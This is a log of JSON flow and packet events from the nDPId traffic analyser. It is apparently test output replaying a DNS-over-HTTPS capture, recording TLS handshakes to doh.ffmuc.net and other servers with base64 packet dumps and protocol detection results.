+00809{"flow_id":12,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":254160,"pkt_caplen":345,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":345,"pkt_l4_len":311,"pkt":"ZmZmZmZmRERERERECABFAAFLJ61AADYGMoB0y7P4CgAAAQG7ovhHE1cAaJwkkVAYAfU4YgAAFwMDAR5OjaBU4K9RxaEOIHl9RkqXTssLDishesbzjLuUbDAZDJRFnzyaj8ejMM2ueTD6CLNtc2jjLJ57t1g80LgQbfy+JUMoRcjIg2IhWkko7S39iw6bgbvyFu3qH1cVkJkjMLOEtHMOGvK4yLYcn21AtyDTIr0Dds40lNJS5EgMcBmhGdtQpaMyXjkJRvHbR3JAZL+cEgYUfuF7xSkh0zPrqz7JjgwtwL0VYQpeusE93XLn+m308ziE6DVryUHuJj7+c7wd8sJ8cb5hVwtxDaAvhSlRMwIlHPrEGLQBNmUFaMohgZq0V19XXuBHz+cBpdoF3+8cnhG48hJE9MwRgEbCeOVFu\/pxXrE0wmFPSGGGmePjRa2StuxxBWE6hgEkPVLz"} +00466{"flow_id":12,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739312,"pkt_ts_usec":254389,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLaJpAAL0Ga5IKAAABdMuz+KL4AbtonCSwRxNYI1AYAfXpvQAAFwMDAB4\/8FLPAjMrydunzm041lSiRjMKOj5EiHlPHgxxkXE="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":191,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":946739317842,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":60026,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":191,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":842290,"pkt_caplen":337,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":337,"pkt_l4_len":303,"pkt":"REREREREZmZmZmZmCABFAAFDy\/NAAL0GDsoKAAABwx5eHOp6AbvJsoUZMUH8QlAYAfbjLAAAFgMBARYBAAESAwOCYT7eCU1xUXbhTPV2JlKPIHcY7sPH2WwKtpwnSeF8xyAex0Qk69Rnwb5oftgvyqN3KWFf9IzenmheX1LYHsKC9AAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACjAAAAEgAQAAANZG9oLmZmbXVjLm5ldAAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACAw+TAbBBMqcOYtJZmoA1qcBE16Yt0ym3XOBLcMkrVpDQ=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":191,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":946739317842,"flow_last_seen":0,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":303,"flow_max_l4_data_len":303,"flow_avg_l4_data_len":303,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":60026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.ffmuc.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04358{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":192,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":868005,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAyWFAADgGjB\/DHl4cCgAAAQG76noxQfxCybKGNFAQAfXtaQAAFgMDAHoCAAB2AwNkyl8ogzMlAhTUQA2TsMh7Q0Cc2\/3wZHCiwad1Z9NoaCAex0Qk69Rnwb5oftgvyqN3KWFf9IzenmheX1LYHsKC9BMCAAAuACsAAgMEADMAJAAdACD+8H0HbVGEEmZC5hZLdNizcuC\/0pRP3fgeIP4D\/GwhdRQDAwABARcDAwAkfwnuX6wEOZOBUTjar1eVwNX\/5E0Ocx7Di9qIEnerial2sCiHFwMDDDWV4W2nvLW+\/N2l4x6sJgc8wiYdu5HOhM21Gm3mnFcxKO2Ie6ZC8TBNY2Mpp7Yb5rcL6bqv3cZKl4w3lzpNGDKGTjZnaTdTckz2Zj9T\/bsrBq0FYycXELwNiLo2fX1zTKtRPyLUu0GGauan4AQwcaDjRQzNlNJGd6461bdar1412MhrLksAOF3Zz32PJXTXtFU1mwvYVqphcZDb4pPZ0N+gjj7dNR4S3YwPGEbwlcx1UcGfiv3pyH+UUZNMH5Baw9z+5KY9RTPE3Rfw1bhKsm9xadHFb6suVuYDZzfowFS+\/J7rFZVNyczZA\/78zcdYuuXbTxeDjPhOqxAoQDX7VF1HojbcFFzFMGuyikHPdDYckD+WeR5lbhzc\/IDh75MNMf\/KMikRmHFGsWSPgCfnHcJinGKvxJJW58RraOB\/5irkT41Kj2mTP7rHD5SNd2CjxOxspgfL21g9EgRySSvXC+1MOm1qzwLgfjx1ZGRqf62CTxE1WBGLSGVSBUD0U9VUbvm7X5SNczaQPf0VLn8L3p7i1Ks07MNKvx2UZUXfrd\/RU2JWlAdhuGfs4RK7IYupZ9gwETRs4hxHaE\/JmiH23lQ8LvM6OtMsbQ6PirB\/Qq+igXuyD0TY3sAc4gdxm+SJGHsDpdSKgD9SodG\/vExsIGp+Gl5tevJKVwUT0pGU9EjX1Bi1e0B1xZ5ye5cjD8jxqC6fGWDYbc0qUQnT6Ei3AwoDVwqGAF6EPjjKHUKSNJDHKDRweWDMJ8eQeivUqlu+lhWhCAE9lUvj8qFKlloewows6Y7yqVUmSPPw60JQ\/7KRplxJ3xUWU3++WylOr+8YCwNo64NgMLldroBbTf3wwNL5K2B8K2fa0ar2Xxz3JO0bcvkksssiMRLPicETirp6CaB0jh\/JBv+EtfNF9XlRRV3bVxTCpp5g2WrRk6UQuYXfLZgXXpvWsW3UQwQvcMLuqGRqk0Lrq45fax67cEa4ablkdoldX6BJdVjUPEVJmY\/4EAB6c5ffE2gmcKP798gpjRuEOsJHx7lU8XAha86w59XzXonwVhFiFEiku0\/ryBztip397enoLu3d\/DdWuO13MC2xztCFDC63o+OIx4LKccR2dUluAwyjMQHJH2QfKyLnH3gJwChS1jbNN6JjmBlIjJ5F5oE0c\/LLe7ZNRcNl04\/gPLP3X4Ig1u++FkuVZR4VffxYIDiKTeCsRjSq8xT0sFQrVMRqRExsxUpTFlLjgmk+4A5gz+AWsHQgXQDHpc8q+tpaaLw2T\/VxrMhaAlTNwD0R+fPu6xqKcmZ7K4tPJ18rUG2cCEq2Vyx\/nZ5Bsb4X51YWHYwI\/b62OL85Ky892\/YpuTiyCwr\/n7zKZjbYHc3bE3kJITVYYhhm7SCsQwZLdboBPXK1hc5zPXoZ51+dKsAS5jlTrL7t90UaX+3d5RBjR5yWI+hwkpRHZC4YPu4wFBj9CS+kKkAjOdshMO3DBnfsoKT51IiDooH56PULR9jXPjPvXwHziEAOD5lKZLhl\/1PpgUaU+m0Qhb9DGdPkvd5L5MtmeN6AG3ojp00pWioyce1OEa+lwCX86DDB4V50XA8WSmUf8Ruv9dDKOkEto48W94o6jbWCBaVHLa30AI1sBDsLlVma26j5oIbiMjlGK8ArsP5ukW3ec2Ucyyw4OeOhYe4PTq7O8QJdyRJffrasJ10uS+VJlhZE6nntiGTZcHenBLx6mVY\/sNy\/xKxBzOkMpSKdjL8GC01HDHp6JDU\/ZHpm00Le70fm6tFZ9vCb5wPUsyYycjMTWmiSgMdLOaewpU9tlODZTwi8DEVWJyEa6fkCFWYdu3u0ydeu8NzIOlQcZ1lyy\/E5qNM0pqUIMKgu+I5sA\/1d+JmmvGoRZQYTQTUa3kxoSS7rPzyV28dHyfYsyZ6xH4xX0Te4M4ymNWY+c\/L9THfsDN\/oVSD593mlv7UAAlNYa3xzFv8UKd\/o0wqF1apADEX5sol\/96BK9yt++kADu5RkL3Q9suLz5lPpANm2QRRIs8Ow+4yzU\/7qCzwe3wQndBdO2mvPNrxNQWX0RWtNADT1hADdzQX8UO24dOXh4qk+iHH6bl8lfIvW8+qqcF2nRbvY6bMLSrGQokwAzcMtwiZdjIJEsFZPEIqPD7EZnzjfnQijrIF9Wn4vbTwPzBnADd1msbtKeSaVNdMJih6KLod12TaeDOeCDRiB61IfXV9dgIKfGFyMlxjk0+d6Grs+cJ7UQzYlQ0mX0vg3on5LNDK23JzvxJlO9RApmtXu0TOUl67cxwpSzAdhxbWvI8l0V4Ai4I3tdYPelpVFVsSo+cgXM3bWISOOqQjzDzqnRV3rpFOpKmYj18yo6Iw3eQgPQrdVloO5tfEf2RUtUbOK+ineibqkTHcOjvhuseYK31qZJs+iTw0+voLfLVtqWLppBhUR5ajc3xYiWsGOK3UP0Zb+9tGTDp7eUX5mpFIs5TGNFA+qxq204tT5KujsIYtCIDdSXn6JYPAXRTlwA4oEjKa3OoGb33tMMT9hVxCQHDLFOs45v41USfRH5jGOfkuc9t77jPR84y7jSr8tXiXsE5CuwKv3P7uF9BVlABkx3ZlxEIz4\/1UR7mzFGAx9K\/RIDlF6SxU6mh73+mMXE0JVkoSTGdIPiDILMtKbfWz72\/UvSW7dTt35fwXmnQwL7He\/RlLL0\/sjJ8vBxcVsv7+Y0XxXaeqzhRtNiCnRgUcTqfLUOJS8aBbh4HPdSKkdltzZb\/S5Lper3Z8zxxuZkIif3ZJ\/gz\/T0iQbX6Et9RMROBoUHjPg5pKYqkENDxoMG\/MC0WVGiX5R06OFe3s9dZ\/ozvLZvYcEZE7N7F5n9sPRwd+I+59lPh72uicIxFdChXuEOxCFU0V3rGzpol1Y\/VsMpTxsDCKvlfGj6qXugNMGkxmq51kciXtj75pUlzwIMe6kQUn2jTFnukdp6OPxrp0T4\/lDiC3VaK0fB4xi6LdOz\/EwCzEu7lICtRLOOwfKoiPsMnC\/K4Myo47r7qgooc6Dyct7xyGHbGYJon8e+PQMECksrlAXwIcA8LQoEysxirtgk51VSp5RdhUCampTO83NLVIjW6\/5AUld9ViiwVRqzLBg7wtcqkBPZd3uqzxG5sC5MeKaDzMg3QKygjiklub6zdiCWJK8V5PVpgiHBa0as\/kw\/NbzRIp8\/DH7U1o9eDK98CHzu8jiLgQ5n1w2IYkMJA1JpBIvlpsoUz6Qe08g4O6AzxZi5RyC6\/8K7\/Ed0NrDjr+G1S6iNZ+qijE4QRaBke9Co9IWob47jnSAaxgFwziKOB2hnQn493UlWhwDwQZuENq4DusUKLl4gaZTo1LvBrcu9EW+pZ0sdlBNW+e5bo09BfXSYhwTQVczSoVWspRueOrFVGx29DRpvDMWXSToev+\/5dhguN8sE7\/6r6UStt1tBEq6JkIdV7o\/cGVmADZ9PpG+uKpSV95fJQxwhEgMidjt9Nuj7TkbtLKuomHY1OGt2HlKFszmF624Ixr0UPZ7oS0P3i\/BbBVqEJdJZsiVw4MhJvqQMjH63aJ9Ie4EL24xwrBjLm1YPTGhWjPxzGPCBhmgSj9u3DHYv7ANgf\/CwtQN4PY6wBmanZg8AFnKkxZzdFSDH5pdfVl85gHQh72n"} +00825{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":192,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":2,"flow_first_seen":946739317842,"flow_last_seen":946739317868,"flow_tot_l4_data_len":3227,"flow_min_l4_data_len":303,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1613,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":60026,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.ffmuc.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01443{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":869199,"pkt_caplen":814,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":814,"pkt_l4_len":780,"pkt":"ZmZmZmZmRERERERECABFAAMgyWNAADgGlH3DHl4cCgAAAQG76noxQgeaybKGNFAYAfV6GQAACB\/j9FRzrXDeV1gMTvdtnDbaxVBoJBh9cy8pOcYrD8iqnoIgGbCFSCgUCuevEmCLqMD6ndxwNBjeWxvehtGcTzYfxO5MsUhftQ0+dqR1WhFRhDtmvuIG3Q\/1JnJ+iTTGKy7+d19ANVD5kJS2Kbw1kq1CCeKCETSjOhUhw85xD38cYnUuHGOyMgN3a57KOUyOmb4EwXoByM8BsVlxu1vc1oPozugCeie0GDWpbdeaEmjgROEgR6DsCHE32e8OUOXMw3\/fTV5lRZlHvoE+WIdAJO23JksMoSbzH5lXNpwBfPg5fllHB2gzZy73MltgSTbtU05NdkOcr1ZFoqdQ2V7wBDgCUult1m1frKnm9RbG5so0kMdI1K2imdVR2omx+E2ZIA0aLFwNHZ87uVzv\/27AUYdBTlcNoD9yJPyo52+VSIEhFJ+iC6HMt6T8vMgHE9t8doC6zzQ5PPfhV0Y\/wHOciEZ1QCJawdjeaWA1oK+LH3dEkeN+2N6ZvT6aGJRirsBAqqpY1jcHkYSWOu0YNfkmmhcDAwEZhRt19HF8btCDpTYJhT082yjULJw4KauCEpxSogJCDv0wIm\/nxsgKWJ5swMbqyuXpT7mdSSff3VOjrgPc6f4pSWMC0gPkidij6lKAHSShm5G9hfxPyAE5LFfSUSjOyv6KeU3qvvH\/y9kOCN3ZJI34MmNCSHjx7F7SwgBhT+XBQWcGdTlLW08ufWjBpFEV0wweQ+sorOCpyYk1BQhN7aPpwW+8cPmzhDQyCikmnIgsWh1OdzHEfXqnhQmoNEJoF7iPcZZ2Q5XdXc7TB5Nr97MOlFTANPGwh+Z0IQ0oeyTOBC76R3rCyPcgQuUbw2ZmngRvKZCro22Tf+lTL3RL8Wypoy8hNNZMukYZOxZV3pu1hHfTdtt5At2T9yMXAwMARRSoalzVajpzS8ANj2fKvjjGfm\/L7CaKj2s8TbmN14sqePDJ6R8MH8TM+nnzmnQKkuZgpCVkmHfyoZtoN5aVAw1RpWQU5w=="} +00528{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":871016,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4y\/ZAAL0GD5IKAAABwx5eHOp6AbvJsoY0MUIKklAYAfXiYQAAFAMDAAEBFwMDAEW5sMLbd0gmem1uKXhOn4xsScvIMh841vOSv25s7WegMWRU2Aswoauuqax20OLYWSZS0GCafTK4XRon6bwmx9k2Q1hF9xw="} +00537{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":871144,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+y\/dAAL0GD4sKAAABwx5eHOp6AbvJsoaEMUIKklAYAfXiZwAAFwMDAFFGa1RBxhcsaVS1JTQbsm6b3akfyKh\/Q2QTKdRkJM6NqfDPzD3c5QZ89kS9wTJn28NiChl0RiDJUJUnuw7FkiBDzP828V4cNxsAiVSYcyY6e6Q="} +00652{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":871296,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADTy\/hAAL0GDzUKAAABwx5eHOp6AbvJsobaMUIKklAYAfXivAAAFwMDAKa9exxu0dEz4INQ6vyP1m\/DFlk\/Pr1zMOa+A3Q6GFtcie\/apw3waA1OR6d6aLmI6wKfSXOeH3kctfnAf89EtusX+vcCqFfnl6BAtI60QXuiXWMwckFXwAoo52guJi5ZUXVP1W2rVdh94v\/woZRrqyZhJuJ4ExkMze+7WUJVXrO3VHHo2rPL0OsY6N5fpIwM70xUZNrphXFiTYO4ub6Eeaeiqz+ylUS7"} +00529{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":871377,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3y\/lAAL0GD5AKAAABwx5eHOp6AbvJsoeFMUIKklAYAfXiYAAAFwMDAEpSpWbBsE8yKulsHJP0e3Ckr9z7+yuzWyAPOOj9mGycFIYrF54XTvqP3OCh7nD32w1mlc1r6\/N\/UDa6EqLrk6cEg2wBg1nXOfGhWA=="} +00805{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":891852,"pkt_caplen":341,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":341,"pkt_l4_len":307,"pkt":"ZmZmZmZmRERERERECABFAAFHyWVAADgGllTDHl4cCgAAAQG76noxQgqSybKH1FAYAfRGHgAAFwMDARr2kjNOR2Ill2VqFuqMZwq0txDPf7ZDGNQZypAXA1bVGrUvF8y0Zbj29Td0K2xmPihRxKWSZvuAEj3RzCI4qwpOgwFWywCYC+1EJA1l4bZ422mACRnVKBsO4zmXgXlC5tZEAyzLW8v1YQDA3eauyzCyLqeicYAErrrsdYpFPgixO4hqi5Dbwlr0DJn6R4qkD+NzxGBP7JNQ6wexb84\/RHHSNul1vscGvx3JqifkHdkcZC095RZfDvEqLBJCLZCPhCE4tsRShZ54dOmDpl6Q6JbFCx45No4yCWEqHKywZhxYRdOtARc1qKKCcEx\/JL37B3iik41qBsORyIzL5AdCqVsIA0XJCnCDdwDOcnFbEnfj0Fcid9qkSIkSr6c="} +01447{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":953365,"pkt_caplen":811,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":811,"pkt_l4_len":777,"pkt":"ZmZmZmZmRERERERECABFAAMdyWZAADgGlH3DHl4cCgAAAQG76noxQguxybKH1FAYAfUd1QAAFwMDARqI8HUmzF0Iol62pe7wTzxB0tmTCytIVnFLh+lVY+maIEWEasPRcfoeBbZDaUQG+ZW9WFwwkFEmdn3dSWS8hh69xP7SEmUy7muijRH\/vENgwMCKEfo9o1GvW\/k6ZMSDi9\/S0Dsg6jwyMckdeILhWcLFxPsLplmmUSj1YDtxrj1rfNjH2wL7cfJLjEJptkNXzoOknF2q4OLJO7G56RI3Fgv4rYL+7uU9SbC3fi99jKc9qvfkBEm0ZJY7moiyWqmcHWSDOfOmgl8ty5lrBvaP8R5W3NiqUy7CaeKvzbXLX3n\/K9Q2HcUKnnDF0Ht5FtgMEoyasl6qQBSsqVBhrsIo+HqOxiNrbLm\/TCFf4LDWFXuz7CyVcFOqnRHm+l0XAwMAT27Squ9HZRMdVi9VWBTzlQhti4uHjCh7lAH7SBDNO1A1m52xuhew\/XIslMN2Yo4s\/be\/l+kxRF7jR+H882Gb29SFf5HbNRnH3FVR72p\/k9YXAwMBXjv6\/nMqs2QQ85rSDUKM9DzvjjnutpNHjWH29jCmosIJbJpkogdURAdibk3K6QvwxVPphG582Be8xsCGBQB4EgZ0tNZlNmDOcFhlOJU9M0TkV40iJVQoffpBbB8WNaoq0xJ+5nzd8T2lRMNp4ym3\/8EL6LbjKXfVyztd3SMgtcAkhnAybioORQofPTdY4ulmFYBvAU7dQixh9ZYznrRQhL6R8m4ioWn+vt7g+wtlY5jUbxJp4ze5FPYChJ2l2+5eezdtKwztDnnLY9NeLJzyMqv7nYJnct8S43O276zVFiauq66\/Z6E9YeUP6bI7+38dLdnv\/1bIu1vJt4ajT0u+wk+L83KHXZjl9HmWI2XqeQqWtpQgYxAZrjwEzXwsWjK\/1Y4s\/MAUBuc2hcMxeWS6hH1YHZfhChqki321gbRX+F+Das2d0hetPt7qrUHe2GuLZXLnqlbdMYc5BUPqTQG2FwMDABohL89mDLWlgAOGRA2\/aJU6GON+DcDIbbDf2Q=="} +00462{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":953420,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHy\/xAAL0GD70KAAABwx5eHOp6AbvJsofUMUIOplAYAfXiMAAAFwMDABpmftOoHbecVW+Xa67bcodPl9dZGh4S1Byjjw=="} +00562{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":953534,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"REREREREZmZmZmZmCABFAACRy\/1AAL0GD3IKAAABwx5eHOp6AbvJsofzMUIOplAYAfXiegAAFwMDAGSUoeGv9\/WPNc43UWHkg3c8IXWeJLMTmyjBdSkhM1gop+nYxq8CYXYcVsfFggbdzLiDPfdoGLQOfxXZova5F3xanc7KxIV1aDqYsVDP1pPdXQRjxq6y1rt1HUG1RKaxCGXQJlUB"} +00572{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":953563,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWy\/5AAL0GD2wKAAABwx5eHOp6AbvJsohcMUIOplAYAfXifwAAFwMDAGmJ5\/uJASXHrZSRrJrwmpm8kqpFfwvyT8vYbD6mUN4jsEyjY+\/ErPyd2ByB2HmNDQDz9KAj0JZM+umyLcrmhp38y8zUb1sSWpCBW\/VKjoTWZBzYTUcYI5Tl8vkdWAb33L8blAXAy0TugrI="} +00467{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739317,"pkt_ts_usec":973535,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"ZmZmZmZmRERERERECABFAABLyWhAADgGl03DHl4cCgAAAQG76noxQg6mybKIXFAYAfX7kgAAFwMDAB4dB\/guf4S2hfjJCiGzltHgv8KT3P\/uVqFdhkG63QY="} +00798{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739318,"pkt_ts_usec":37345,"pkt_caplen":334,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":334,"pkt_l4_len":300,"pkt":"ZmZmZmZmRERERERECABFAAFAyWpAADgGllbDHl4cCgAAAQG76noxQg7JybKIylAYAfXY2AAAFwMDAPTBSH\/KUN9Ho41cffCQxrJYqIef6Xn8cytekOXeeAPHjzza5w5Lk\/Fs5hXSHCDw5NX72Ztnf7IH6QGxoxyIJ1HUWKk+Edlf1yCaaiWSG2qK0boEbCex1OgZCSzfuqjAo1mHvYIcjlHdYDJB5a9RjE\/U5d3pi1ylEMZuVl9S7BmnFfzWYQLG9VTEqRoJUXsx5QLiwYAlmszUJDalFHNSRVxzZZvw6QxVh+8FC1InrW1oyRKR2xFIYp4YUJ3wdWp5tEn2LIvCuBP1JRsGgB49yTiHweVhl2D1toTYHLPXBFKveGUx4gMgeosIn4YM+HOhJb4bRHYOFwMDABqApNe+JAK5l37wbw8X7NNtNzFmPvcJ8YVILA=="} +00449{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739327,"pkt_ts_usec":879259,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABAzAFAAL0GD78KAAABwx5eHOp6AbvJsojKMUIP4VAYAfXiKQAAFwMDABPOFDsRNkPmvUgsjvIivquiUuss"} +00450{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739327,"pkt_ts_usec":879293,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"REREREREZmZmZmZmCABFAABALvxAAL0GxEYKAAABrGhdUJ\/qAbvjN2\/5lQPB01AYAfXKpwAAFwMDABPe80YjBSFaopQ49brkBueHC77J"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":222,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":946739336955,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.233.106.232","src_port":46658,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 